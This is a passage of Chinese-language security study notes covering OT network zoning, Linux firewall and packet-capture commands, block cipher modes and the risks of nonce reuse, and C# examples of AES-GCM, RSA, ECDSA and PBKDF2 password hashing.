Level 3	製造運營層（Manufacturing Operations）	MES（Manufacturing Execution System）、Historian 資料收集伺服器	排程、生產追蹤、紀錄製造資料
Level 3.5（iDMZ）	工業非軍事區（Industrial DMZ）	代理伺服器（Proxy）、跳板機（Jump Server）、資料二極體（Data Diode）、防火牆	OT（Level 3）與 IT（Level 4）之間的緩衝隔離區；確保 IT 與 OT 之間絕不會有直接網路連線，所有資料交換皆須經過 iDMZ 內的代理伺服器或跳板機轉存，有效阻止 IT 層的惡意軟體直闖 OT 核心。
Level 4–5	企業與外部網路	ERP、業務系統、Internet	傳統 IT 環境

OT 安全關鍵原則

• Level 1（PLC/RTU）與 Level 2（SCADA/HMI）的分界是攻擊者最常利用的橫向移動路徑：入侵 SCADA（Level 2）後可向下下達指令，直接影響 Level 1 的物理流程（如烏克蘭電網攻擊事件）。
• iDMZ（Industrial DMZ，工業非軍事區）：對應 Level 3.5，是 OT 與 IT 之間的必要緩衝隔離區；資料應透過 iDMZ 內的代理伺服器或資料二極體（Data Diode）單向傳輸，避免 IT 側威脅直接進入 OT。
• Purdue vs 零信任：零信任要求對每個請求驗證身分，但 OT 環境中許多 PLC 設備不具認證能力，因此 OT 環境的零信任主要落地在 Level 3–4 之間的網路邊界控制。

💡 專有名詞速查

• IT：Information Technology（資訊技術）— 處理資料、通訊與業務邏輯的電腦系統，如伺服器、資料庫、ERP。與 OT 的核心差異在於 IT 優先考量機密性（Confidentiality），OT 優先考量可用性（Availability）。
• OT：Operational Technology（作業技術）— 直接控制實體設備與工業流程的硬體與軟體系統。
• ICS：Industrial Control System（工業控制系統）— OT 的上層統稱，涵蓋 PLC、SCADA 等控制系統。
• PLC：Programmable Logic Controller（可程式化邏輯控制器）— 接收感測器訊號並依設定邏輯控制致動器的工業電腦。
• RTU：Remote Terminal Unit（遠端終端設備）— 部署在現場、與 SCADA 通訊的資料採集與控制設備。
• DCS：Distributed Control System（分散式控制系統）— 將控制功能分散至多個節點的工業控制架構，常用於大型製造廠。
• SCADA：Supervisory Control and Data Acquisition（監控與資料擷取）— 集中監控多個現場設備的系統，操作員透過 HMI 介面進行監視與操控。
• HMI：Human Machine Interface（人機介面）— 操作員與工業控制系統互動的圖形化介面。
• MES：Manufacturing Execution System（製造執行系統）— 管理生產排程、追蹤製造進度的資訊系統。
• ERP：Enterprise Resource Planning（企業資源規劃）— 整合財務、人資、供應鏈等企業資源的管理系統，屬 IT 側。
• Data Diode（資料二極體）：只允許資料單向流動的硬體設備，常用於 OT / IT 邊界，防止外部威脅反向進入 OT 網路。

Linux / Windows 網路安全工具對照表

防火牆設定

功能	Windows	Linux
內建防火牆	Windows Defender Firewall	iptables / nftables / firewalld
CLI 管理	netsh advfirewall / PowerShell New-NetFirewallRule	iptables / nft / firewall-cmd
GUI 管理	wf.msc（進階安全性的 Windows 防火牆）	Cockpit Web Console / UFW（Uncomplicated Firewall）
規則持久化	自動儲存	iptables 需 iptables-save / iptables-restore；firewalld 以 XML 設定檔持久化

Linux 防火牆演進

• iptables：Linux 2.4+ 的經典封包過濾工具，基於 Netfilter 框架。規則以鏈（Chain）與表（Table）組織。
• nftables：Linux 3.13+ 引入，iptables 的後繼者。語法更統一、效能更佳，已逐步取代 iptables。
• firewalld：RHEL / CentOS / Fedora 預設的動態防火牆管理工具，底層可使用 iptables 或 nftables。支援 Zone 概念與即時規則變更。

iptables / nftables 防火牆規則範例

iptables 常用規則

# 允許已建立的連線與相關流量
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# 允許 SSH（Port 22）
iptables -A INPUT -p tcp --dport 22 -j ACCEPT

# 允許 HTTPS（Port 443）
iptables -A INPUT -p tcp --dport 443 -j ACCEPT

# 預設拒絕所有入站流量
iptables -P INPUT DROP

# 儲存規則（Debian/Ubuntu）
iptables-save > /etc/iptables/rules.v4

nftables 等效規則

# 建立表與鏈
nft add table inet filter
nft add chain inet filter input { type filter hook input priority 0 \; policy drop \; }

# 允許已建立的連線
nft add rule inet filter input ct state established,related accept

# 允許 SSH 與 HTTPS
nft add rule inet filter input tcp dport { 22, 443 } accept

# 儲存規則
nft list ruleset > /etc/nftables.conf

網路診斷工具

功能	Windows	Linux	說明
IP 設定查詢	ipconfig / ipconfig /all	ip addr / ifconfig（已淘汰）	查看網路介面卡的 IP、子網路遮罩、閘道器。
連線狀態	netstat -an	ss -tulnp / netstat -tulnp	查看目前的 TCP/UDP 連線與監聽 Port。ss 為 netstat 的現代替代。
路由追蹤	tracert	traceroute / mtr	追蹤封包到目的地的路由跳躍路徑。mtr 結合 ping 與 traceroute。
DNS 查詢	nslookup / Resolve-DnsName	dig / nslookup	一般查詢用 nslookup；需看 DNSSEC 記錄時，參閱 DNS 安全 段落中的集中範例。
ARP 表查詢	arp -a	ip neigh / arp -a	查看本機的 ARP 快取。

常見網路診斷指令範例

# 追蹤路由（找出封包在哪一跳被丟棄或延遲暴增）
tracert 8.8.8.8                     # Windows
traceroute 8.8.8.8                  # Linux

# 查看監聽中的 Port（確認哪些服務對外暴露）
netstat -ano | findstr LISTENING    # Windows
ss -tulnp                           # Linux（-t TCP、-u UDP、-l 監聽中、-n 不解析名稱、-p 顯示程序）

0.0.0.0 / 127.0.0.1 / localhost 容易混淆的資安陷阱

位址	語意	資安風險
127.0.0.1	本機回環位址（Loopback），封包不離開主機	服務僅限本機存取，無法從外部連線。
localhost	主機名稱，預設解析為 127.0.0.1（IPv6 環境為 ::1）	/etc/hosts 可被竄改而指向其他位址；雙堆疊環境下若防火牆規則只封鎖 127.0.0.1，::1 可能漏接。
0.0.0.0	伺服器繫結語境：監聽所有網路介面，包含對外介面	開發時誤用 0.0.0.0，會讓本意僅限本機的服務直接暴露至外網。

常見陷阱：

• 開發環境的資料庫（Redis、MySQL）綁定 0.0.0.0 後直接上線，缺乏外部防火牆保護，直接暴露至公網。
• 容器（Container）內的 127.0.0.1 僅限容器本身，宿主機無法存取；若需宿主機存取，需明確綁定 0.0.0.0 或宿主機 IP，並搭配防火牆限制來源 IP。

網路監聽與封包擷取

工具	平台	說明
Wireshark	Windows / Linux / macOS	GUI 封包分析工具，支援數百種協定解析。
tcpdump	Linux / macOS	CLI 封包擷取工具，輕量高效，適合伺服器環境。
tshark	Windows / Linux / macOS	Wireshark 的 CLI 版本，適合腳本自動化。

tcpdump 常用指令

# 擷取 eth0 介面的所有流量
tcpdump -i eth0

# 僅擷取 HTTPS 流量（Port 443）
tcpdump -i eth0 port 443

# 擷取特定主機的流量
tcpdump -i eth0 host 192.168.1.100

# 擷取 TCP SYN 封包（三向交握第一步）
tcpdump -i eth0 'tcp[tcpflags] & tcp-syn != 0'

# 儲存擷取結果為 pcap 檔案（供 Wireshark 分析）
tcpdump -i eth0 -w capture.pcap -c 1000

# 讀取 pcap 檔案
tcpdump -r capture.pcap

# 排除 SSH 流量（避免擷取自身的遠端連線）
tcpdump -i eth0 not port 22

Wireshark 顯示過濾器（Display Filter）常用語法

# 依協定篩選
http
dns
tls
tcp
arp

# 依 IP 位址篩選
ip.addr == 192.168.1.100
ip.src == 10.0.0.1
ip.dst == 172.16.0.0/12

# 依 Port 篩選
tcp.port == 443
tcp.dstport == 80

# 依 HTTP 方法篩選
http.request.method == "POST"

# 依 DNS 查詢名稱篩選
dns.qry.name == "example.com"

# 依 TLS 版本篩選
tls.handshake.version == 0x0304  # TLS 1.3

# 依 TCP Flag 篩選
tcp.flags.syn == 1 && tcp.flags.ack == 0  # SYN（新連線）
tcp.flags.reset == 1                       # RST（連線重設）

# 組合條件
ip.addr == 192.168.1.0/24 && tcp.port == 443 && tls

• 顯示過濾器（Display Filter）：在已擷取的封包中篩選顯示，語法如上。
• 擷取過濾器（Capture Filter）：在擷取時即過濾，語法為 BPF（Berkeley Packet Filter），與 tcpdump 相同（如 host 192.168.1.100 and port 443）。

密碼學

密碼學與資料保護技術對照表

技術分類	金鑰數量	運算速度	核心用途	常見演算法
對稱式加密 (Symmetric)	1 把（加密與解密共用同一把）	極快	大量資料、檔案、硬碟的全內容加密	AES、DES、RC4
非對稱式加密 (Asymmetric)	2 把（公鑰加密/私鑰解密；私鑰簽章/公鑰驗證）	極慢	金鑰交換（傳送對稱金鑰）、數位簽章、身分認證	RSA、ECC（橢圓曲線）
雜湊函式 (Hash)	無（單向轉換，無法還原）	快	密碼儲存（搭配加鹽 Salt）、資料完整性校驗	SHA-2（如 SHA-256、SHA-512）、MD5（已淘汰）

對稱 vs 非對稱加解密流程對照

對稱加密區塊模式（ECB / CBC / CTR / GCM）

對稱加密以固定大小的「區塊（Block）」為單位逐一處理資料，「模式」決定區塊間如何串聯與運算，不同模式間的安全性差距明顯。

模式	全名	可平行加密	安全性	特性說明
ECB	Electronic Codebook（電子密碼本）	✅	❌	相同明文區塊產生相同密文，洩漏資料模式（如影像加密後仍可看出輪廓）
CBC	Cipher Block Chaining（密碼區塊鏈接）	❌	⚠️	前一區塊密文作為下一區塊的 XOR 輸入，消除 ECB 模式洩漏；但無法平行加密，且有 POODLE（Padding Oracle On Downgraded Legacy Encryption）填充漏洞
CTR	Counter Mode（計數器模式）	✅	✅	將區塊加密轉為串流加密，可平行加密解密，效能佳
GCM	Galois/Counter Mode（Galois 計數器模式）	✅	✅ 推薦	CTR 加密 + GMAC（Galois Message Authentication Code，Galois 訊息認證碼）完整性驗證，屬於 AEAD（Authenticated Encryption with Associated Data，附加資料的認證加密）模式；TLS 1.2+ 主流選擇（AES-GCM）

ECB 模式為何不安全

ECB 模式對每個區塊獨立加密，相同的明文區塊永遠產生相同的密文區塊。這會洩漏資料的結構模式：用 ECB 模式加密 Linux 企鵝（Tux）圖片，加密後仍能清楚辨識企鵝輪廓；改用 CBC / GCM 後則完全雜訊化。任何場景都不應使用 ECB 模式。

Nonce 與 IV（初始化向量）

概念	全名	說明
IV	Initialization Vector（初始化向量）	在 CBC、CFB 等模式中，與第一個明文區塊 XOR 後再加密，確保相同明文在不同加密操作中產生不同密文
Nonce	Number Used Once（一次性數值）	在 CTR、GCM 等模式中作為計數器的初始值，絕對不可重複使用（同一金鑰下）

各模式對 IV/Nonce 的核心要求不同：

模式	角色	核心要求	建議長度
ECB	無	—	—
CBC	IV	不可預測（Unpredictable）：必須真隨機；IV 可被預測時，攻擊者可發動選擇明文攻擊（BEAST 攻擊即利用此漏洞破解 TLS Cookie）	16 bytes
CTR	Nonce	唯一（Unique）：同一金鑰下不得重複，不強制隨機；分散式系統難以維護全域計數器，實務仍建議使用隨機數	12 bytes
GCM	Nonce（規格書稱 IV，指同一個值）	同 CTR；12 bytes（96-bit）時可直接形成初始計數器區塊 J0，效能最佳，為官方建議長度	12 bytes

Nonce/IV 不需要保密，隨密文公開傳送即可

金鑰（Key）絕不能外洩，但 Nonce/IV 是公開值，作用只是讓相同明文每次加密結果都不同。接收方拿到 Nonce + 金鑰即可解密，標準做法是直接將 Nonce 與密文一起傳送。

傳遞方式	做法	適用情境
拼接密文前方（最常見）	[Nonce (12 bytes)][Ciphertext]，解密端切開前 12 bytes 取得 Nonce	API 傳輸、檔案加密
資料庫獨立欄位	在資料表中以 EncryptedData 與 CryptoNonce 兩個欄位分別儲存，解密時一起 SELECT	資料庫欄位加密
HTTP Header / JWT	放在 X-Nonce Header 或 JWT Payload	API 通訊

GCM 為什麼偏好 12 bytes Nonce

• GCM 的底層區塊大小是 128-bit。當 IV/Nonce 剛好是 96-bit（12 bytes） 時，規格可直接組成 J0 = IV || 0^31 || 1，也就是補上一個 32-bit 計數尾段後形成完整的 128-bit 初始區塊。
• 後續計數器遞增只需操作右側 32-bit 計數區，因此這是 GCM 最自然、最有效率的做法。
• 若 IV 不是 96-bit，GCM 需先透過 GHASH 將 IV 映射成 J0，會多一道運算，實作較複雜，效能通常也較差。
• 真正的核心風險仍是 同一把金鑰下重複使用 Nonce。非 12 bytes 不代表一定不安全，但 96-bit 是互通性與效能最佳的慣用選擇。

Nonce 重複使用的災難

CTR / GCM 的加密本質是串流加密（⊕ 為 XOR 互斥或，逐位元比對，相同為 0、相異為 1）：

KS = KeyStream(Key, Nonce)    ← 完全由 Key 和 Nonce 共同決定
密文 = 明文 ⊕ KS

只要 Key 和 Nonce 相同，KS 就完全相同。攻擊者若能取得兩段用同一把金鑰、同一個 Nonce 加密的密文：

C1 = P1 ⊕ KS
C2 = P2 ⊕ KS

C1 ⊕ C2 = P1 ⊕ P2    ← KS 互相抵消，金鑰消失了

具體還原過程

假設攻擊者同時擷取到兩段密文（例如 KRACK 強制 Nonce 重置後，兩個封包都用 Nonce = 0 加密）：

	明文	十六進位	說明
P1	"GET "	47 45 54 20	HTTP 請求開頭（含尾端空格，共 4 bytes），格式固定，攻擊者已知
P2	PASS	50 41 53 53	目標明文，攻擊者想知道
KS	—	A3 F2 1C 8B	金鑰串流，攻擊者不知道

加密後攻擊者看到的密文：

C1 = 47⊕A3  45⊕F2  54⊕1C  20⊕8B  =  E4 B7 48 AB
C2 = 50⊕A3  41⊕F2  53⊕1C  53⊕8B  =  F3 B3 4F D8

攻擊者計算 C1 ⊕ C2，KS 抵消：

E4⊕F3  B7⊕B3  48⊕4F  AB⊕D8  =  17 04 07 73  =  P1 ⊕ P2

用已知的 P1（"GET "）還原 P2：

17⊕47  04⊕45  07⊕54  73⊕20  =  50 41 53 53  =  "PASS"

攻擊者從未取得金鑰，卻完整還原了 P2。

GCM 還更糟：Nonce 重複時，不只洩漏明文，攻擊者還能推算出 GMAC 的認證金鑰 H，之後可以偽造任意封包並通過完整性驗證，加密與認證雙雙失效。WPA2 的 KRACK 攻擊正是利用此原理。

C# 範例：AES-GCM 加解密

using System.Security.Cryptography;
using System.Text;

// --- 加密 ---
byte[] key = RandomNumberGenerator.GetBytes(32); // 256-bit 金鑰
byte[] nonce = RandomNumberGenerator.GetBytes(AesGcm.NonceByteSizes.MaxSize); // 12 bytes
byte[] plaintext = Encoding.UTF8.GetBytes("機密資料：帳號密碼與個資");
byte[] ciphertext = new byte[plaintext.Length];
byte[] tag = new byte[AesGcm.TagByteSizes.MaxSize]; // 16 bytes
byte[] associatedData = Encoding.UTF8.GetBytes("metadata-v1"); // 附加認證資料（不加密但驗證完整性）

using (AesGcm aesGcm = new(key, AesGcm.TagByteSizes.MaxSize)) {
    aesGcm.Encrypt(nonce, plaintext, ciphertext, tag, associatedData);
}

Console.WriteLine($"Nonce:      {Convert.ToBase64String(nonce)}");
Console.WriteLine($"Ciphertext: {Convert.ToBase64String(ciphertext)}");
Console.WriteLine($"Tag:        {Convert.ToBase64String(tag)}");

// --- 解密 ---
byte[] decrypted = new byte[ciphertext.Length];

using (AesGcm aesGcm = new(key, AesGcm.TagByteSizes.MaxSize)) {
    aesGcm.Decrypt(nonce, ciphertext, tag, decrypted, associatedData);
}

Console.WriteLine($"Decrypted:  {Encoding.UTF8.GetString(decrypted)}");

非對稱加密演算法

非對稱加密以一對配對的公私鑰處理「加解密」與「簽章驗證」兩類任務，目前主流演算法為 RSA 與 ECC，兩者建立在不同的數學困難題上。

面向	RSA	ECC（Elliptic Curve Cryptography，橢圓曲線密碼學）
數學基礎	大數因數分解困難性	ECDLP（Elliptic Curve Discrete Logarithm Problem，橢圓曲線離散對數問題）
同等安全強度的金鑰長度	2048-bit 或 3072-bit	256-bit（≈ RSA 3072-bit）
運算速度	較慢（金鑰越長越慢）	較快（短金鑰即達同等安全性）
金鑰與簽章大小	較大（佔用更多頻寬與儲存）	較小，適合頻寬或儲存受限的環境
適用場景	傳統 PKI（Public Key Infrastructure，公鑰基礎設施）、需向下相容的系統	IoT（Internet of Things，物聯網）裝置、行動裝置、TLS 1.3
主要演算法	加密：RSA-OAEP（Optimal Asymmetric Encryption Padding，最佳非對稱加密填充） 簽章：RSA-PSS（Probabilistic Signature Scheme，機率簽章方案）	簽章：ECDSA（Elliptic Curve Digital Signature Algorithm，橢圓曲線數位簽章演算法） 金鑰交換：ECDH（Elliptic Curve Diffie-Hellman，橢圓曲線金鑰交換）/ ECDHE（Ephemeral，臨時版本）

ECC 與 RSA 的取捨

• ECC 優勢明顯，RSA 仍是主流的原因：現有 PKI 基礎設施、硬體安全模組（HSM，Hardware Security Module）、舊版合規標準大多圍繞 RSA 建置；ECC 已是新建系統的預設選擇（TLS 1.3 強制使用臨時金鑰交換，ECDHE 為主流），但存量系統龐大，短期難以全面替換。
• TLS 1.3 強制使用臨時金鑰交換（ECDHE / DHE），已不再支援 RSA 靜態金鑰交換。
• 量子電腦威脅：RSA 和 ECC 都可能被 Shor's Algorithm 破解，後量子密碼學（PQC，Post-Quantum Cryptography）正在標準化中（NIST 已於 2024 年公佈首批 PQC 標準）。
• 安全強度等效關係：ECC 256-bit ≈ RSA 3072-bit ≈ 對稱加密 128-bit。

C# 範例：RSA 加解密與數位簽章

using System.Security.Cryptography;
using System.Text;

// --- 產生 RSA 金鑰對 ---
using RSA rsa = RSA.Create(2048);
byte[] publicKey = rsa.ExportRSAPublicKey();
byte[] privateKey = rsa.ExportRSAPrivateKey();

// === 加解密（公鑰加密 → 私鑰解密） ===
byte[] plaintext = Encoding.UTF8.GetBytes("機密資料");

using RSA rsaEncryptor = RSA.Create();
rsaEncryptor.ImportRSAPublicKey(publicKey, out _);
byte[] encrypted = rsaEncryptor.Encrypt(plaintext, RSAEncryptionPadding.OaepSHA256);
Console.WriteLine($"Encrypted: {Convert.ToBase64String(encrypted)}");

using RSA rsaDecryptor = RSA.Create();
rsaDecryptor.ImportRSAPrivateKey(privateKey, out _);
byte[] decrypted = rsaDecryptor.Decrypt(encrypted, RSAEncryptionPadding.OaepSHA256);
Console.WriteLine($"Decrypted: {Encoding.UTF8.GetString(decrypted)}");

// === 數位簽章（私鑰簽章 → 公鑰驗證） ===
byte[] document = Encoding.UTF8.GetBytes("合約內容 v1.0");

using RSA rsaSigner = RSA.Create();
rsaSigner.ImportRSAPrivateKey(privateKey, out _);
byte[] signature = rsaSigner.SignData(
    document,
    HashAlgorithmName.SHA256,
    RSASignaturePadding.Pss
);
Console.WriteLine($"Signature: {Convert.ToBase64String(signature)}");

using RSA rsaVerifier = RSA.Create();
rsaVerifier.ImportRSAPublicKey(publicKey, out _);
bool isValid = rsaVerifier.VerifyData(
    document,
    signature,
    HashAlgorithmName.SHA256,
    RSASignaturePadding.Pss
);
Console.WriteLine($"簽章驗證結果: {isValid}");

C# 範例：ECDSA 數位簽章

using System.Security.Cryptography;
using System.Text;

// --- 產生 ECDSA 金鑰對（P-256 曲線） ---
using ECDsa ecdsa = ECDsa.Create(ECCurve.NamedCurves.nistP256);
byte[] publicKey = ecdsa.ExportSubjectPublicKeyInfo();
byte[] privateKey = ecdsa.ExportPkcs8PrivateKey();

// --- 簽章 ---
byte[] document = Encoding.UTF8.GetBytes("交易紀錄 #20250101-001");
byte[] signature = ecdsa.SignData(document, HashAlgorithmName.SHA256);
Console.WriteLine($"Signature: {Convert.ToBase64String(signature)}");

// --- 驗證（模擬接收方只有公鑰） ---
using ECDsa verifier = ECDsa.Create();
verifier.ImportSubjectPublicKeyInfo(publicKey, out _);
bool isValid = verifier.VerifyData(document, signature, HashAlgorithmName.SHA256);
Console.WriteLine($"ECDSA 簽章驗證結果: {isValid}");

// --- 金鑰大小比較 ---
Console.WriteLine($"ECDSA P-256 公鑰大小: {publicKey.Length} bytes");
Console.WriteLine($"ECDSA P-256 簽章大小: {signature.Length} bytes");

應用層密碼加密實務（TLS 之外的額外保護）

TLS 若正確實作（強制 TLS 1.2+、有效憑證），本身已提供足夠的傳輸加密。以下做法適用於有合規要求或縱深防禦需求的場景。

建議流程：後端產生限時非對稱金鑰對

1. 前端進入登入頁時，呼叫後端 API 取得臨時公鑰。
2. 後端產生 RSA 金鑰對，私鑰存入暫存並設定 TTL（Time To Live，存活時間），僅回傳公鑰。
3. 前端以公鑰加密密碼後送出。
4. 後端以對應私鑰解密，驗證登入，解密後立即銷毀私鑰。

私鑰暫存方案：

方案	適用條件	備註
Redis（建議）	多實例或有 Redis 環境	TTL 自動過期，支援水平擴展
應用記憶體	單實例、無 Redis	應用重啟後金鑰遺失，無法跨實例共用
資料庫	以上皆不可行	需手動清理過期金鑰，非首選

金鑰有效期：建議 5–15 分鐘，並設計為單次使用（解密成功後立即作廢），防止重放攻擊（Replay Attack）。

金鑰到期處理：前端重取

後端回傳金鑰不存在或已過期的錯誤時，前端重新呼叫 API 取得新公鑰後重試。不建議保留上一期金鑰的重疊期：登入是一次性短暫操作，重疊期增加實作複雜度卻幾乎沒有使用者體驗上的收益，且同時存在兩個有效私鑰會擴大曝險窗口。

為什麼用非對稱式而非對稱式？

對稱加密需要前後端共享金鑰。靜態金鑰寫在前端原始碼等同明文；若由後端動態下發，傳遞過程本身又面臨同樣的保護問題（雞生蛋）。非對稱加密的公鑰可以公開，即使被攔截也只能加密、無法解密，私鑰始終留在後端。

為什麼透過 API 取得公鑰，而不是靜態公鑰檔案？

靜態公鑰需透過部署更換，在前後端分離架構下還需協調前端部署時序（若前端由不同團隊或廠商維護，輪換成本更高），導致輪換週期拉長，金鑰洩漏時曝險窗口大。API 方式可強制設定有效期與單次使用，且不需部署就能輪換金鑰。

雜湊（Hash Function）

雜湊函式將任意長度的輸入轉換為固定長度的輸出（摘要），具備四個核心特性：

• 單向性：無法從輸出反推出原始輸入。
• 確定性：相同輸入永遠產生相同輸出。
• 雪崩效應（Avalanche Effect）：輸入改變一個 bit，輸出會完全不同。
• 抗碰撞性：難以找到兩個不同輸入產生相同輸出（碰撞）。

主要用途：資料完整性校驗、數位簽章（對摘要而非原文簽章，原因詳見數位簽章章節）、密碼儲存。

快雜湊（Fast Hash）演算法

快雜湊以速度為設計目標，適合完整性校驗與數位簽章。主流演算法為 SHA 家族：

• MD5 / SHA-1：已被發現實際碰撞攻擊案例，不應再用於安全場景（數位簽章、憑證簽發）。若只是偵測偶然的資料損毀（非惡意竄改），MD5 在技術上仍可用，但新建系統應避免。
• SHA-2（SHA-256、SHA-384、SHA-512）：現行主流標準，廣泛用於 TLS、數位簽章、憑證。名稱後綴數字即輸出位元數（SHA-256 固定輸出 256 bits，SHA-512 固定輸出 512 bits），與輸入大小無關。
• SHA-3：另一套設計架構（基於 Keccak 海綿函式，與 SHA-2 無關），作為備選標準，較少見。

雜湊碰撞（Collision）：兩個不同的輸入產生相同的雜湊輸出。碰撞本身無法讓攻擊者逆推密碼，但可讓攻擊者偽造出與原文雜湊值相同的假文件，對數位簽章安全性是致命的。

C# 範例：SHA-256 雜湊校驗（完整性驗證）

using System.Security.Cryptography;
using System.Text;

byte[] hash = SHA256.HashData(Encoding.UTF8.GetBytes("重要文件內容"));
Console.WriteLine(Convert.ToHexStringLower(hash));

// 驗證完整性：比對兩份資料的雜湊值
byte[] hash2 = SHA256.HashData(Encoding.UTF8.GetBytes("重要文件內容"));
Console.WriteLine($"完整性一致：{CryptographicOperations.FixedTimeEquals(hash, hash2)}");

加鹽（Salt）與加椒（Pepper）對照：

機制	儲存位置	每筆資料是否不同	說明
Salt（鹽）	資料庫（與雜湊值同表）	✅ 每筆不同	每位使用者一組隨機鹽值，防止彩虹表攻擊（Rainbow Table Attack）
Pepper（椒）	環境變數 / Secrets Manager（不在資料庫）	❌ 全域共用	全域秘密值，即使資料庫整個洩漏，沒有椒仍無法還原密碼

可同時使用：hash(密碼 + Salt + Pepper)。Salt 存資料庫，Pepper 存系統外部設定。

• 延伸：非對稱式也能每筆不同嗎？ 概念可行，但私鑰不同於 Salt，不能明文存資料庫，否則資料庫外洩時等同所有私鑰一起洩漏，加密形同虛設。

Salt 和 Pepper 名稱的由來

這兩個術語源自烹飪比喻：「為密碼加料，讓攻擊者更難嘗出原味」。

• Salt（鹽）：最早由 Robert Morris 和 Ken Thompson 於 1970 年代在 Unix 密碼系統中提出。將隨機值混入密碼再雜湊，使相同密碼產生不同雜湊值，讓彩虹表（預先計算的雜湊對照表）失效。
• Pepper（椒）：後來延伸的概念，對應「另一種調味料」。不同於鹽放在桌上（資料庫），椒藏在廚房保險箱（環境變數）裡，即使桌子被翻走也找不到。

慢雜湊演算法（Key Stretching）

Key Stretching（金鑰延展）透過刻意增加運算成本，使暴力破解變得不可行。以下為主流慢雜湊演算法比較：

演算法	核心機制	可調參數	記憶體需求	抗 GPU/ASIC	備註
PBKDF2	反覆執行 HMAC（如 HMAC-SHA256）	迭代次數	低	❌	.NET 內建（Rfc2898DeriveBytes）；NIST 推薦；OWASP 建議至少 600,000 次迭代（SHA-256）
bcrypt	基於 Blowfish 區塊加密	Cost Factor	中（4 KB）	⚠️	設計成熟、廣泛使用；輸入限制 72 bytes
scrypt	PBKDF2 + 大量記憶體存取	N（CPU/記憶體成本）、r、p	高（可調）	✅	記憶體密集設計抵抗 ASIC；參數調校較複雜
Argon2	記憶體密集 + 可選多執行緒	記憶體、迭代、並行度	高（可調）	✅	2015 年 PHC（Password Hashing Competition）冠軍；分為 Argon2d（抗 GPU）、Argon2i（抗旁路攻擊）、Argon2id（混合，推薦）

選用建議

慢雜湊對抗的核心威脅是「離線 GPU 暴力破解」。GPU 有數千個計算核心，光靠迭代次數拖慢 CPU 效果有限，記憶體強化（Memory-Hard）才是關鍵，每次計算若需占用大量記憶體（如 64MB），GPU 的 VRAM 就成為瓶頸（16GB VRAM ÷ 64MB = 最多 256 個並行實例）。

選用優先順序：

1. Argon2id（首選）：記憶體、迭代、並行度三個維度都可調；結合 Argon2d（抗 GPU/ASIC）與 Argon2i（抗旁路攻擊）的優點。OWASP 建議最小參數：64MB 記憶體、3 次迭代、4 並行度。
2. bcrypt（次選）：成熟可靠，廣泛支援；記憶體需求僅 4KB，另有 72 bytes 輸入長度限制。
3. scrypt：記憶體需求高於 bcrypt，但三個參數（N / r / p）調校複雜，實務上較少採用。
4. PBKDF2（受限場景）：無記憶體強化；僅在 FIPS 合規或 .NET 內建 API 限制下才選用。

所有演算法都必須搭配隨機 Salt 使用，防止彩虹表攻擊。

為什麼 NIST 推薦 PBKDF2，而 .NET 沒有內建 Argon2 / bcrypt

NIST 推薦 PBKDF2 的原因

NIST 的密碼學標準以 FIPS 140 合規性為前提。PBKDF2 底層使用 HMAC-SHA256 或 HMAC-SHA512，這兩個函式都是 NIST 自訂的標準，完全符合 FIPS 白名單。bcrypt 底層使用 Blowfish 區塊加密（非 FIPS 核准演算法）；Argon2 底層使用 Blake2b（未被 FIPS 核心密碼模組收錄）。

PBKDF2 缺乏記憶體強化，NIST 的對應做法是要求大幅提高迭代次數。OWASP 建議至少 600,000 次（HMAC-SHA256），以彌補無記憶體硬度的缺陷，在數學上仍能提供足夠安全性，同時維持 FIPS 合規性。

為什麼 .NET BCL 沒有內建 Argon2 / bcrypt

三個原因：

1. 作業系統原生 API 的限制：.NET 的密碼學類別（System.Security.Cryptography）優先呼叫 OS 底層 API（Windows 上為 CNG，Linux 上為 OpenSSL），而非自行實作。Windows CNG 長期未提供 Argon2 或 bcrypt 的原生支援，.NET 因此沒有官方封裝。
2. ASP.NET Core Identity 的歷史相容性：Identity 框架從一開始就以 PBKDF2（Rfc2898DeriveBytes）為基礎建置。若更改預設演算法，現有資料庫中的密碼雜湊將無法驗證。微軟選擇逐代提高迭代次數（.NET 8 預設已達數十萬次），而非直接替換演算法。
3. 精簡核心的設計哲學：現代 .NET 的策略是讓核心保持輕量，特定領域交給開源套件。Argon2 和 bcrypt 已有成熟的 NuGet 套件（如 Konscious.Security.Cryptography.Argon2、BCrypt.Net-Next），不需要官方強制內建。

PBKDF2 的底層結構

PBKDF2 程式碼中需要傳入 HashAlgorithmName.SHA256，看起來像是在對快雜湊加工，這是 PBKDF2 特有的設計：它本質上就是把 HMAC-SHA256 反覆執行指定次數（迭代 600,000 次），「慢」是靠次數堆出來的，不是底層演算法本身慢。

bcrypt、scrypt、Argon2 的底層不是直接重複快雜湊。bcrypt 用 Blowfish 區塊加密；scrypt 在 PBKDF2 之外加了記憶體混合函式；Argon2 用 Blake2b 做記憶體填充的計算單元。這也是 PBKDF2 比其他三者更容易被 GPU 並行化的根本原因，GPU 本來就擅長大量平行執行 SHA 運算。

C# 範例：PBKDF2 密碼雜湊與驗證

using System.Security.Cryptography;

// --- 產生雜湊（註冊時） ---
string password = "MySecureP@ssw0rd";
byte[] salt = RandomNumberGenerator.GetBytes(16);
int iterations = 600_000;
HashAlgorithmName hashAlgorithm = HashAlgorithmName.SHA256;
int keySize = 32; // 256 bits

byte[] hash = Rfc2898DeriveBytes.Pbkdf2(
    password,
    salt,
    iterations,
    hashAlgorithm,
    keySize
);

// 儲存至資料庫：Base64(salt) + Base64(hash) + iterations
string saltBase64 = Convert.ToBase64String(salt);
string hashBase64 = Convert.ToBase64String(hash);
Console.WriteLine($"Salt: {saltBase64}");
Console.WriteLine($"Hash: {hashBase64}");

// --- 驗證密碼（登入時） ---
string inputPassword = "MySecureP@ssw0rd";
byte[] storedSalt = Convert.FromBase64String(saltBase64);
byte[] storedHash = Convert.FromBase64String(hashBase64);

byte[] inputHash = Rfc2898DeriveBytes.Pbkdf2(
    inputPassword,
    storedSalt,
    iterations,
    hashAlgorithm,
    keySize
);

bool isValid = CryptographicOperations.FixedTimeEquals(inputHash, storedHash);
Console.WriteLine($"密碼驗證結果: {isValid}");

快雜湊 vs 慢雜湊：適用情境

慢雜湊的用途只有一個：密碼儲存。對其他場景來說，100ms+ 的計算成本是效能負擔，不是安全保障。

	快雜湊	慢雜湊
計算時間	奈秒級	100ms 以上
密碼儲存	❌ 可快速窮舉	✅
完整性 / 驗章 / HMAC	✅	❌ 效能不可行

以 JWT 為例：HS256 使用 HMAC-SHA256（快雜湊）對 Header.Payload 簽章，每次 API 請求都需重新計算一次驗章。若改用 bcrypt，單次驗章需 100ms，伺服器每秒最多只能驗幾十個 Token，完全無法服務。

